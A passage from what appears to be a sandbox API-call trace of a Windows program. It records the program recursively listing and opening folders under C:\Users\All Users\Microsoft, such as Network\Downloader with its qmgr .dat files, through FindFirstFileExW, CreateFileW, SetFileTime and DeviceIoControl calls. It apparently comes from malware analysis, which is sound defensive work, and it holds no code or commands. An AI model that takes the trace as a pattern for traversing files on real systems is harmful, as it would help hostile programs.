Size=0x80) returned 0x12faf48 [0091.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.465] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0091.465] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.465] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.465] GetLastError () returned 0x12 [0091.465] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0091.465] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.465] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.465] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.465] GetLastError () returned 0x12 [0091.465] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.465] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.466] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="")) returned 0 [0091.466] GetLastError () returned 0x12 [0091.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faec0) returned 1 [0091.466] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.467] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.467] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0091.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.467] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network" (normalized: "c:\\users\\all users\\microsoft\\network"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.467] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network" (normalized: "c:\\users\\all users\\microsoft\\network"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0091.468] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0091.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.468] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0091.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.468] NtClose (Handle=0x17c) returned 0x0 [0091.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faec0 [0091.469] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9180 [0091.469] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.469] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="")) returned 1 [0091.469] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="")) returned 1 [0091.469] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="")) returned 0 [0091.470] GetLastError () returned 0x12 [0091.470] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0091.470] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.470] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.470] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="")) returned 1 [0091.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.470] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections" (normalized: "c:\\users\\all users\\microsoft\\network\\connections"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.470] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections" (normalized: "c:\\users\\all users\\microsoft\\network\\connections"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0091.470] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.471] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.471] NtClose (Handle=0x17c) returned 0x0 [0091.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.472] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9180 [0091.472] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.472] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.472] GetLastError () returned 0x12 [0091.472] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0091.472] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.473] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.473] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.473] GetLastError () returned 0x12 [0091.473] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.473] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.473] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.473] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.473] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="")) returned 1 [0091.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.474] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.474] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0091.474] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.474] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.474] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.475] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.475] NtClose (Handle=0x15c) returned 0x0 [0091.475] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.475] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.475] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.476] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.476] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0091.476] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.476] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xe0118910, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr0.dat", cAlternateFileName="")) returned 1 [0091.476] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb1f0 [0091.477] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb1f0) returned 1 [0091.477] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb1f0 [0091.477] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb1f0) returned 1 [0091.477] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb1f0 [0091.477] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6bd8 [0091.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb300 [0091.478] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb1f0) returned 1 [0091.478] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xdd404870, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr1.dat", cAlternateFileName="")) returned 1 [0091.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb1f0 [0091.479] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb1f0) returned 1 [0091.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb1f0 [0091.479] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb1f0) returned 1 [0091.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb1f0 [0091.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6bf8 [0091.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb498 [0091.480] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb1f0) returned 1 [0091.480] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xdd404870, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr1.dat", cAlternateFileName="")) returned 0 [0091.480] GetLastError () returned 0x12 [0091.480] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9180 [0091.480] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.480] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.480] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xe0118910, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr0.dat", cAlternateFileName="")) returned 1 [0091.480] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xdd404870, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr1.dat", cAlternateFileName="")) returned 1 [0091.480] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xdd404870, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr1.dat", cAlternateFileName="")) returned 0 [0091.480] GetLastError () returned 0x12 [0091.481] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.481] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.481] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.481] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.481] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 